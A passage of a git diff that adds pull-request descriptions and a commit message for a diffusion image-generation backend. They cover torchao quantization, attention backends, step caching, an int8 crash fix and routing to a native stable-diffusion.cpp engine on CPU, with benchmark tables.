(Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores: + +| config | sec | vs GGUF+compile | LPIPS vs bf16 | +| --- | --- | --- | --- | +| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 | +| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 | +| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 | +| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 | + +Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback. + +## What it does + +New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader: + +1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF, +2. places it on the device and torchao-quantises the FLOP-heavy linears, +3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**. + +`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress. + +A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash). + +## Design + +- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call. +- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`. +- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`. +- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard. + +Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e). + +## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345) + +End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe). + +| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS | +| --- | --- | --- | --- | --- | --- | --- | +| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 | +| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 | +| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 | +| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m | + +`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor. + +## Tests + +CPU-only, hermetic (torch / torchao stubbed via `sys.modules`): +- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure). +- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload. +- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422. + +`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter). + diff --git a/temp/phase10_pr_body.md b/temp/phase10_pr_body.md new file mode 100644 index 0000000000..4fd4e6ed8a --- /dev/null +++ b/temp/phase10_pr_body.md @@ -0,0 +1,74 @@ +## Summary + +A selectable **attention backend** for the Studio diffusion transformer, via the diffusers +`set_attention_backend` dispatcher. Stacked on the Phase 9 pre-quantized loading pass (#6700). + +Attention is memory-bandwidth bound, so swapping in a better SDPA kernel is a real end-to-end +win that is **orthogonal to the linear-weight quantisation** (it speeds the QK/PV matmuls +torchao never touches) and composes with torch.compile. + +Measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, dense bf16 + regional compile = today's +profile), LPIPS vs the default backend: + +| attention | sec | vs default | LPIPS | +| --- | --- | --- | --- | +| default SDPA (`native`) | 0.686 | 1.00x | reference | +| **cuDNN fused (`_native_cudnn`)** | **0.584** | **1.18x** | 0.004 | + +cuDNN's fused attention is **1.18x end-to-end, near-lossless** (LPIPS 0.004 is below the +compile/quant noise floor). It is exact (not quantized) and broadly available on NVIDIA. + +## What it does + +New load flag `attention_backend` (`auto | native | cudnn | flash | flash3 | flash4 | sage | +xformers | aiter`, default `auto`). Resolved per device, set on `pipe.transformer` **before +compile** (compile traces attention): + +- **`auto`** picks the best *exact* backend: `_native_cudnn` on NVIDIA CUDA **when a speed + profile is active** (so `speed_mode=off` stays bit-identical), `native` SDPA elsewhere + (AMD / Intel / Apple / CPU, which the dispatcher already routes). The GGUF default path + (which defaults `speed_mode=default`) therefore picks up the cuDNN win automatically. +- An **explicit** backend is honored verbatim: `cudnn` / `flash` / `flash3` (Hopper) / + `flash4` (SM100) are exact; `sage` is INT8 attention (a small quality cost, consumer + friendly); `xformers` / `aiter` are memory-efficient (NVIDIA) / AMD ROCm. +- An **unavailable** kernel (missing package / wrong arch) is caught at set time and the load + falls back to the diffusers default rather than failing. + +## Design + +- New `core/inference/diffusion_attention.py` mirrors the sibling modules (pure functions, + torch/diffusers imported lazily, best-effort, hermetic tests): `normalize_attention_backend`, + `select_attention_backend(target, requested, *, speed_active)` (the per-device policy), + `apply_attention_backend(pipe, backend)` (set + graceful fallback). +- `diffusion.py` `load_pipeline` selects + applies the backend right before + `apply_speed_optims` (so it precedes compile); `attention_backend` threads through + `begin_load` / `_LoadState` / `status()` like the other load knobs, and the engaged backend + is reported in status. Orthogonal to the transformer/text-encoder quant and to GGUF vs dense. +- Flag surface: `DiffusionLoadRequest.attention_backend` (Literal) + the route forward + + `DiffusionStatusResponse.attention_backend`. + +## Tests + +CPU-only, hermetic (`_is_cuda_nvidia` monkeypatched; a fake transformer records / raises on +`set_attention_backend`): +- new `tests/test_diffusion_attention.py` -- normalisation + alias map, the select policy + (auto -> cuDNN on NVIDIA when speed active; native when off / off-NVIDIA; explicit honored; + `native` -> no-op), and apply (sets the backend, falls back to the default on an unavailable + kernel, handles a transformer without the method). +- extended `tests/test_diffusion_routes.py` -- `attention_backend` threads through to + `begin_load`, and an invalid value is a 422. + +GPU verification: `scripts/perf_levers_probe.py` (the table above; also measured that +SageAttention v1.0.6 lacks Blackwell kernels and FlashAttention `*_hub` need the `kernels` +package -> both correctly fall back, while the lossless inductor autotune flags were +~neutral on this B200/bf16 and are deferred), plus a backend-function smoke (auto -> +`_native_cudnn`, finite image). + +## Scope / notes + +- `off` stays bit-identical: `auto` only upgrades attention when a speed profile is active. +- cuDNN attention needs a recent cuDNN; the dispatcher validates at set time and falls back to + `native` otherwise, so there is no regression on older stacks. +- `sage` / `flash*` are wired and validated by the fallback path, but not GPU-verified here + (sage's PyPI build has no SM100 kernels; the `*_hub` flash variants need `kernels`, which + conflicts with the diffusers huggingface-hub pin in this env) -> flagged, opt-in. diff --git a/temp/phase11_pr_body.md b/temp/phase11_pr_body.md new file mode 100644 index 0000000000..07af352c3d --- /dev/null +++ b/temp/phase11_pr_body.md @@ -0,0 +1,57 @@ +## Summary + +Make the transformer `auto` quant pick **int8 on consumer / workstation GPUs**, while +data-center parts keep fp8. Stacked on the Phase 10 attention pass (#6701). + +Consumer Blackwell / Ada / Ampere (and workstation RTX) GPUs **halve** fp8 (and fp16/bf16) +tensor-core throughput when the matmul accumulates in FP32, while **int8 runs at full rate** +(its int32 accumulate is not nerfed). So on a consumer card the int8 tensor cores are the +faster path, not fp8. + +Public benchmarks back this directly. SDNQ's per-GPU matmul numbers (int8 via +`torch._int_mm` vs fp8 via `torch._scaled_mm`): + +| GPU | bf16 | int8 | fp8 | int8 vs bf16 | +| --- | --- | --- | --- | --- | +| RTX 3090 (Ampere) | 76 | **184** | 0 (no fp8 HW) | 2.4x | +| RTX 4090 (Ada) | 164 | **359** | 83 rowwise / 269 TW | 2.2x | +| RTX 5090 (Blackwell) | 232 | **471** | 433 | 2.0x | +| RTX PRO 6000 (data-center) | 390 | 499 | **659** | 1.3x | + +int8 wins (or is the only option) on every consumer part; fp8 only wins on the data-center +chip. This matches the consumer FP8-accumulate nerf exactly. + +## What it does + +When `transformer_quant=auto`, the per-arch ladder is reordered to put int8 first on a +consumer / workstation GPU, detected by the existing `_is_consumer_gpu` name heuristic +(GeForce / TITAN / workstation / unknown -> consumer; recognised data-center tokens like +B200 / H100 / A100 / L40 -> not). Data-center HBM parts are unchanged and keep fp8 first. + +It is a pure reorder of schemes that already exist (`_prefer_consumer_scheme`): no new flags, +no new kernels. The smoke probe still gates each scheme, and an explicit `transformer_quant` +(e.g. forcing `fp8`) is still honored verbatim. + +## Design + +- `diffusion_transformer_quant.py`: `select_transformer_quant_scheme` now walks + `_prefer_consumer_scheme(tier, device)` -- which moves int8 to the front when + `_is_consumer_gpu(device)` -- instead of the raw data-center tier. The `_AUTO_LADDER` + comment documents that it is the data-center order, reordered per GPU class at selection. + +## Tests / verification + +- Hermetic CPU tests: consumer Blackwell (RTX 5090) and Ada (RTX 4090) and a workstation / + unknown name -> int8; data-center Ada (L40S), Hopper (H100), Blackwell (B200) -> fp8; + int8-unavailable on consumer falls back to the rest of the tier (fp8). The shared torch + stub now carries a device name so the selection sees a GPU class. +- GPU non-regression on a B200: `_is_consumer_gpu("cuda")` is False, the reorder is a no-op, + and `auto` still resolves to fp8 -- the data-center path is unchanged. + +## Notes + +- The consumer speedup itself is from the cited public benchmarks + the NVIDIA accumulate + specs (this CI box is a data-center B200, so only the non-regression is measured here). +- int8 is also the broadest-compatibility scheme (Ampere+ and, via the same `torch._int_mm` + core, the most portable to AMD / Intel), so this also nudges the widest set of consumer + hardware onto a working fast path by default. diff --git a/temp/phase12_pr_body.md b/temp/phase12_pr_body.md new file mode 100644 index 0000000000..e237afc91d --- /dev/null +++ b/temp/phase12_pr_body.md @@ -0,0 +1,42 @@ +### Summary + +Adds opt-in step caching (First-Block-Cache) for the diffusion transformer. Across denoise steps a DiT's output settles, so once the first block's residual barely changes the remaining blocks are skipped and their cached output reused. diffusers ships this natively (`FirstBlockCacheConfig` + `transformer.enable_cache`, with the standalone `apply_first_block_cache` hook as a fallback). + +This is the next lever in the Studio diffusion efficiency stack, targeting denoise-time speed on many-step models. + +### Measured (Flux.1-dev, 28 steps, 1024px, one B200) + +Reference is the no-cache compiled output (`scripts/fbcache_flux_probe.py`): + +| mode | latency | speedup | LPIPS vs no-cache | +| --- | --- | --- | --- | +| compile baseline | 2.83s | 1.00x | ref | +| fbcache (threshold 0.08) | 2.03s | 1.40x | ~0.08 | + +~1.4x on top of `torch.compile` at a small, well-bounded quality cost. + +### Design + +- OFF by default and a per-load opt-in. The win scales with step count, so it is for many-step models (Flux / Qwen-Image) and pointless for few-step distilled models (e.g. Z-Image-Turbo at ~8 steps), where a single skipped step is a large fraction of the trajectory. +- Composes with regional compile only with `fullgraph=False` (the cache's per-step decision is a `torch.compiler.disable` graph break), which the speed layer now switches to automatically when a cache is engaged. +- Best-effort: a model whose block signature the hook does not recognise is caught and the load proceeds uncached. +- The residual threshold auto-raises for a quantised transformer (0.08 -> 0.12), which shifts the residual distribution, per ParaAttention's fp8 guidance. An explicit `transformer_cache_threshold` overrides. + +### Changes + +- new `core/inference/diffusion_cache.py`: `normalize_transformer_cache` + `apply_step_cache` (enable_cache / apply_first_block_cache fallback; lazy diffusers import). +- `diffusion_speed.py`: `apply_speed_optims` takes `cache_active`; compile drops `fullgraph` when a cache is engaged. +- `diffusion.py`: `apply_step_cache` runs before compile; `transformer_cache` / `transformer_cache_threshold` thread through `begin_load` -> `load_pipeline`, and the engaged mode is reported in `status()`. +- `models/inference.py` + `routes/inference.py`: `transformer_cache` (`off | fbcache`) and `transformer_cache_threshold` request fields; engaged mode in the status response. +- hermetic tests for normalisation, the enable_cache / hook-fallback paths, threshold selection, and best-effort failure handling, plus route threading + validation (422 on a bad enum / out-of-range threshold). +- `scripts/fbcache_flux_probe.py`: the Flux validation probe (latency / speedup / VRAM / LPIPS vs the compiled no-cache baseline). + +### Compatibility + +Default behaviour is unchanged: the request field defaults to `null` so nothing engages unless a caller opts in. No change to the GGUF build, the dense fast path, the placement/offload order, or any other family. + +### Testing + +`python -m pytest tests/ -q -k diffusion` -> 230 passed. The Flux speedup/quality numbers above are from `scripts/fbcache_flux_probe.py`. + +Stacked on #6702 (Phase 11). Base branch `diffusion-phase11-consumer-int8`. diff --git a/temp/phase14_pr_body.md b/temp/phase14_pr_body.md new file mode 100644 index 0000000000..21a8b98131 --- /dev/null +++ b/temp/phase14_pr_body.md @@ -0,0 +1,51 @@ +### Summary + +Fixes the opt-in dense **int8** transformer quant path, which crashed on FLUX.1 and Qwen-Image with: + +``` +RuntimeError: torch._int_mm: self.size(0) needs to be greater than 16, but got 1 +``` + +Found while benchmarking the dense quant path across all supported models: fp8 worked everywhere, but int8 failed on every Flux.1 and Qwen variant (worked on Z-Image and FLUX.2-klein-4B). + +### Root cause + +int8 dynamic quant runs through `torch._int_mm`, which requires the activation row count **M > 16**. A DiT's AdaLN **modulation** projections and its **conditioning embedders** are computed once from the `[batch, dim]` conditioning vector (M = batch = 1), not per token, so they hit `_int_mm` at M=1 and crash. Examples (in -> out): + +- FLUX.1: `transformer_blocks.*.norm1.linear` 3072 -> 18432, `norm1_context.linear`, `norm_out.linear`, `time_text_embed.*` +- Qwen-Image: `transformer_blocks.*.img_mod.1` / `txt_mod.1` 3072 -> 18432, `time_text_embed.timestep_embedder.*` +- FLUX.2-klein: `double_stream_modulation_*.linear`, `single_stream_modulation.linear` + +These have large feature dims, so the existing `min_features` filter did not exclude them. (Z-Image / klein-4B happened not to hit an M=1 int8 matmul, which is why they worked.) + +### Fix + +The int8 filter now additionally skips any `nn.Linear` whose fully-qualified name matches a modulation / conditioning-embedder token: `norm`, `_mod`, `modulation`, `timestep_embed`, `guidance_embed`, `time_text_embed`, `pooled`. These run at M=1 once per block and are a negligible share of the FLOPs, so int8 keeps the full speedup on the attention / FFN layers (M = sequence length). + +- The exclusion is **int8-only**: fp8 / nvfp4 / mxfp8 use `scaled_mm`, which has no M>16 limit and quantises these layers fine. +- Sequence embedders (`context_embedder` / `x_embedder` / `txt_in`, M = seq) are deliberately **not** excluded. Note `context_embedder` contains the substring `text_embed`, which is why the token is the specific `time_text_embed`, not `text_embed`. + +### Measured (B200, 1024px, transformer_quant=int8 + speed=default) + +int8 now runs on every supported model and is the **fastest** dense path on Flux/Qwen (int8 runs full-rate vs fp8's FP32-accumulate): + +| model | eager GGUF | int8 (this PR) | speedup | fp8 (for ref) | +| --- | --- | --- | --- | --- | +| FLUX.1-dev (28 step) | 9.62s | 1.98s | 4.86x | 2.15s | +| Qwen-Image (20 step) | 10.39s | 1.87s | 5.57x | 2.09s | +| Qwen-Image-2512 | 10.20s | 1.84s | 5.55x | 2.09s | +| FLUX.1-schnell (4 step) | 1.46s | 0.41s | 3.59x | 0.44s | + +Z-Image and FLUX.2-klein-4B (already working) are unchanged. + +### Changes + +- `diffusion_transformer_quant.py`: add `_INT8_EXCLUDE_NAME_TOKENS`; `make_filter_fn` takes `exclude_name_tokens`; `quantize_transformer` passes it for int8 only. +- Hermetic test that the int8 filter excludes the modulation / embedder linears and keeps the attention / FFN / sequence-embedder linears (fp8 keeps them). +- `scripts/int8_linear_probe.py`: the meta-device probe used to enumerate each transformer's Linear layers and derive the exclusion list. + +### Testing + +`python -m pytest tests/ -q -k diffusion` -> 231 passed. The GPU numbers above are from `scripts/diffusion_bench.py --transformer-quant int8`. + +Stacked on #6703 (Phase 12). Base branch `diffusion-phase12-fbcache`. diff --git a/temp/phase15_pr_body.md b/temp/phase15_pr_body.md new file mode 100644 index 0000000000..d961ca7384 --- /dev/null +++ b/temp/phase15_pr_body.md @@ -0,0 +1,31 @@ +### Summary + +Lets the pre-quantized-checkpoint builder produce a **working int8** checkpoint, not just fp8. + +The fast transformer_quant path can either quantise the dense bf16 transformer on the GPU at load (~2x the GGUF load VRAM, full bf16 download) or load a checkpoint that was quantised once ahead of time (`scripts/build_prequant_checkpoint.py` -> `diffusion_prequant.py`), which drops the transformer GPU load peak and download ~2x. That builder already accepted `--scheme int8`, but it applied the dense quant filter **without** the int8-only M=1 exclusion the runtime path got in #6716, so a built int8 checkpoint baked the AdaLN-modulation / conditioning-embedder projections as int8 and crashed at the first denoise step on Flux / Qwen: + +``` +RuntimeError: torch._int_mm: self.size(0) needs to be greater than 16, but got 1 +``` + +### Root cause + +int8 dynamic quant runs through `torch._int_mm`, which requires activation rows M > 16. A DiT's modulation / timestep / guidance / pooled-text projections run once from the `[batch, dim]` conditioning vector (M = batch = 1). The runtime path (#6716) excludes them from the int8 filter; the offline builder did not, so an int8 checkpoint diverged from the runtime model (and crashed where the runtime path is correct). fp8 / nvfp4 / mxfp8 use `scaled_mm` (no M limit), which is why fp8 prequant already worked. + +### Fix + +Factor the scheme -> exclusion decision into one shared `exclude_tokens_for_scheme(scheme)` in `diffusion_transformer_quant.py`, used by **both** the runtime quantise path and the offline builder, so the two can never drift -- an int8 checkpoint built ahead of time now skips exactly the layers the runtime path skips (the module's "offline == runtime, LPIPS-0" invariant). `build_prequant_checkpoint.py` applies it; for fp8 / fp4 / mx the helper returns `()`, so nothing changes for them. + +Result: int8 prequant produces a working checkpoint on every supported model, giving **int8** -- the consumer-preferred scheme (consumer cards halve fp8 FP32-accumulate throughput; int8 runs full-rate) -- the same ~2x load-VRAM and download reduction fp8 already had. This directly lowers the peak memory to *load* the fast path on the hardware that needs it most. + +### Changes + +- `diffusion_transformer_quant.py`: add `exclude_tokens_for_scheme()`; `quantize_transformer` now calls it (behaviour-identical refactor of the inline int8 check). +- `scripts/build_prequant_checkpoint.py`: pass `exclude_name_tokens = exclude_tokens_for_scheme(scheme)` into the filter. +- Hermetic test that the shared helper returns the modulation/embedder tokens for int8 and `()` for fp8 / nvfp4 / mxfp8. + +### Testing + +`python -m pytest tests/test_diffusion_transformer_quant.py tests/test_diffusion_prequant.py -q` -> 43 passed. The runtime int8 path is unchanged (same tokens, now via the shared helper). + +Stacked on #6716 (Phase 14). Base branch `diffusion-phase14-int8-modulation`. diff --git a/temp/phase16_pr_body.md b/temp/phase16_pr_body.md new file mode 100644 index 0000000000..76cee1e113 --- /dev/null +++ b/temp/phase16_pr_body.md @@ -0,0 +1,88 @@ +## Summary + +Wires the native stable-diffusion.cpp engine into the **live** diffusion route so that when no usable +CUDA / ROCm / XPU GPU is present (CPU, and Apple MPS when explicitly enabled), generation runs on the +native `sd-cli` engine instead of diffusers, with diffusers as the guaranteed fallback. Stacked on the +Phase 15 pre-quant pass (#6717). + +The native engine has shipped since Phase 4 (#6679) but was never reachable from the route, which always +drove the diffusers `DiffusionBackend`. So a CPU / Mac user got the slow, RAM-heavy diffusers path even +though the faster engine was already in the tree. Measured on this box (192-core CPU, same Q4_K_M +transformer GGUF), the native engine is the right CPU engine: + +| model (CPU, 512px) | diffusers | sd.cpp | sd.cpp speed | sd.cpp RAM | +| --- | ---: | ---: | ---: | ---: | +| FLUX.1-schnell | 98.5s | 60.3s | **1.6x** | **1.6x less** | +| Z-Image-Turbo | 99.1s | 71.9s | **1.4x** | **1.5x less** | +| Qwen-Image | 243.8s | 88.4s | **2.8x** | **2.2x less** | + +(FLUX.1 CPU vs ComfyUI: sd.cpp 60.3s / 18.9 GB beats ComfyUI 102.4s / 71.2 GB too.) The decision +function `select_diffusion_engine` already existed and was unit-tested; this PR is the routing and +lifecycle integration around it, not a rewrite. The diffusers path stays the default and only path on +CUDA / ROCm / XPU, and the universal fallback. + +## What it does + +- **`diffusion_engine_router.py` (new).** Centralised engine selection at load time, remembered for the + rest of the load so generate / unload / status / progress all act on the same engine. Built on + `select_diffusion_engine(backend, ...)`; the device backend comes from + `resolve_diffusion_device_target().backend`. Records why a fallback to diffusers happened and exposes it + in status. Env knobs (one canonical interpretation each): + - `UNSLOTH_DIFFUSION_ENGINE=auto|diffusers|sd_cpp` force an engine + - `UNSLOTH_DIFFUSION_SD_CPP=auto|0|1` enable / disable the native route + - `UNSLOTH_DIFFUSION_SD_CPP_MPS=0|1` allow native on Apple MPS (default off) + - `UNSLOTH_DIFFUSION_SD_CPP_INSTALL=auto|0|1` allow lazy binary install + +- **`sd_cpp_backend.py` (new) `SdCppDiffusionBackend`.** Mirrors the public surface the route uses on the + diffusers backend (`begin_load` / `load_progress` / `generate` / `generate_progress` / `unload` / + `status`), backed by `SdCppEngine`. It lazily installs the `sd-cli` binary on first use, fetches the + per-family single-file assets, runs the load on a daemon thread with a download-progress phase, parses + sd-cli step lines for per-step progress, and supports cancellation. Import-light: no torch / diffusers, + so selecting it on a CPU box does not pull the GPU stack. + +- **`diffusion_families.py`.** Each family gains its native single-file asset mapping (`sd_cpp_vae`, + `sd_cpp_text_encoders`, `sd_cpp_vae_format`) using the same hashable-tuple pattern as `prequant_repos`. + The transformer GGUF is reused from the diffusers download path; only the single-file VAE + text + encoders are new fetches (the diffusers base repo ships those sharded, which sd-cli cannot read). Z-Image + and FLUX.2-klein use Qwen3-4B, FLUX.1 uses CLIP-L + T5, Qwen-Image uses Qwen2.5-VL; FLUX.2 uses the + `flux2` VAE latent format. + +- **`sd_cpp_engine.py`.** Adds cancellation to `generate` / `upscale`: an optional `cancel_event` polled + while the child runs, plus a process-group kill (`SdCppCancelled`) so a superseding load / unload / + arbiter eviction can hard-stop the subprocess and its children. User cancellation does not trigger a + diffusers fallback. + +- **`routes/inference.py` + `gpu_arbiter.py`.** The load handler resolves the device, selects + activates + the engine before evicting chat (so a fallback never strands a half-native load), and the other handlers + and the arbiter evictor act on the active engine via the router. The status response gains `engine` and + `fallback_reason`. + +## Selection and fallback + +Selection is deterministic and happens before the slow load. Diffusers is chosen (with a recorded reason) +whenever the native route is disabled, the device has a usable GPU, MPS is not enabled, the family has no +native asset mapping, or the `sd-cli` binary is unavailable. Scope is text-to-image (the route's only +mode); image-to-image / edit / LoRA are not exposed there. + +## Testing + +- `test_sd_cpp_backend.py` (new): asset resolution per family, guidance mapping, status shape, generate + returns images with per-image seeds, `--vae-format` for FLUX.2, cancellation surfaces as cancelled (not + a crash), progress parsing, load validation, lazy-install gating, unload semantics. +- `test_diffusion_engine_router.py` (new): the full selection matrix (cpu -> sd_cpp, gpu -> diffusers, + opt-out -> diffusers, MPS default vs opt-in, unsupported family, missing binary, forced sd_cpp), and the + status annotation. +- `test_diffusion_routes.py`: a route-level test asserting a CPU host with an available binary reports + `engine=sd_cpp`; the existing fixture now drives the router transparently. +- `test_sd_cpp_engine.py`: the two no-binary tests are now hermetic (forced no-binary) so they pass + regardless of a locally installed `sd-cli`. + +All 313 diffusion / sd.cpp tests pass. Verified end-to-end on CPU (CUDA hidden): the router selected the +native engine, fetched the registry assets, and `sd-cli` produced an image, with `status.engine == sd_cpp`. + +## Notes + +- Everything is additive and opt-out-able: on a CUDA box this is a no-op (diffusers as before). +- The single-file asset repos are pinned to public, verified sources (Comfy-Org / black-forest-labs / + comfyanonymous / unsloth GGUF). sd-cli flag construction stays isolated in `sd_cpp_args.py` (already + test-covered), since upstream notes its CLI flags can change. diff --git a/temp/phase4_commit_msg.txt b/temp/phase4_commit_msg.txt new file mode 100644 index 0000000000..e85f379032 --- /dev/null +++ b/temp/phase4_commit_msg.txt @@ -0,0 +1,34 @@ +Studio diffusion (Phase 4): native stable-diffusion.cpp engine for CPU/Mac + +Adds the CPU / Apple-Silicon tier of the two-engine strategy, mirroring the +chat backend's llama.cpp shell-out. Diffusers stays the default on CUDA / ROCm +/ XPU; this covers the hardware diffusers serves poorly, consuming the same +split GGUF assets Studio already curates. + +- sd_cpp_args.py: pure sd-cli command builder. Maps the family to its + text-encoder flag (Z-Image Qwen3 to --llm, Qwen-Image to --qwen2vl, FLUX.1 + CLIP-L + T5), and the diffusers memory policy (none/group/model/sequential) + to sd.cpp's offload flags (--offload-to-cpu / --clip-on-cpu / --vae-on-cpu / + --vae-tiling / --diffusion-fa), so one user knob drives both engines. +- sd_cpp_engine.py: SdCppEngine over a located sd-cli. find_sd_cpp_binary() + with the same precedence as the llama finder (env override, then the Studio + install root, then in-tree, then PATH), an is_available/version probe, and a + one-shot subprocess generate that streams progress and returns the PNG. + runtime_env() prepends the binary's directory to the platform library path + so a prebuilt's bundled libstable-diffusion.so resolves. + select_diffusion_engine() is the pure routing decision (GPU backends to + diffusers, CPU/MPS to native when present). +- install_sd_cpp_prebuilt.py: resolve + download the per-host prebuilt + (macOS-arm64/Metal, Linux x86_64 CPU, Vulkan/ROCm/Windows variants) into the + Studio install root. resolve_release_asset() is a pure, unit-tested + host-to-asset matrix. +- scripts/sd_cpp_smoke.py: end-to-end native generation harness. + +Tests (CPU-only, subprocess/filesystem stubbed): 49 new across args, engine, +routing, runtime env, and the installer resolver. Full diffusion suite 166 +passing. + +Verified on a B200 box: built sd-cli (CUDA) and the prebuilt (CPU) both +generate Z-Image-Turbo Q4_K end to end through SdCppEngine: balanced (group +offload, 5.0s gen), low_vram (full CPU offload + VAE tiling, 13.4s), and the +dynamically-linked CPU prebuilt (50.4s on CPU), all producing coherent images. diff --git a/temp/phase4_pr_body.md b/temp/phase4_pr_body.md new file mode 100644 index 0000000000..b951f15940 --- /dev/null +++ b/temp/phase4_pr_body.md @@ -0,0 +1,40 @@ +## Summary + +Phase 4 of porting the richer diffusion stack onto the image-generation backend, building on #6675 (Phase 2: memory / speed / precision) and #6670 (Phase 1: device policy). This adds the **native stable-diffusion.cpp engine**, the CPU and Apple-Silicon tier of a two-engine strategy that mirrors the chat backend's llama.cpp shell-out. + +Diffusers stays the default and only path on CUDA / ROCm / XPU. This engine exists for the hardware diffusers serves poorly (CPU, Apple MPS, and very low VRAM budgets), and it consumes the same split GGUF assets Studio already curates for the diffusers path, so a model loaded for one engine needs no re-download for the other. + +Everything is additive: new modules plus a standalone installer and smoke script. Nothing in the existing diffusers path changes, so this is a no-op until the native engine is selected. Stacked on #6675; I will rebase onto main and retarget the base once the lower phases land. + +## What it does + +- Pure sd-cli command builder (`sd_cpp_args.py`). Maps each family to its text-encoder flag (Z-Image's Qwen3 to `--llm`, Qwen-Image's Qwen2-VL to `--qwen2vl`, FLUX.1's CLIP-L + T5 to `--clip_l` / `--t5xxl`) and the diffusers memory policy (`none` / `group` / `model` / `sequential`) to sd.cpp's own offload flags (`--offload-to-cpu`, `--clip-on-cpu`, `--vae-on-cpu`, `--vae-tiling`, `--diffusion-fa`). One user-facing memory knob drives both engines identically. +- The engine (`sd_cpp_engine.py`). `SdCppEngine` over a located `sd-cli`: a `find_sd_cpp_binary()` with the same precedence as the llama finder (env override, then the Studio install root, then an in-tree build, then PATH), an `is_available` / `version` probe, and a one-shot subprocess `generate` that streams progress and returns the written PNG. `runtime_env()` prepends the binary's own directory to the platform library path (`LD_LIBRARY_PATH` / `DYLD_LIBRARY_PATH` / `PATH`) so a prebuilt's bundled `libstable-diffusion.so` resolves. `select_diffusion_engine()` is the pure routing decision: GPU backends stay on diffusers, CPU / MPS take the native engine when its binary is present, and a `prefer_native` override can force it anywhere. +- Prebuilt installer (`install_sd_cpp_prebuilt.py`). Resolves and downloads the per-host stable-diffusion.cpp release zip (macOS-arm64 / Metal, Linux x86_64 CPU, plus Vulkan / ROCm / Windows variants) into the Studio install root, where the finder picks it 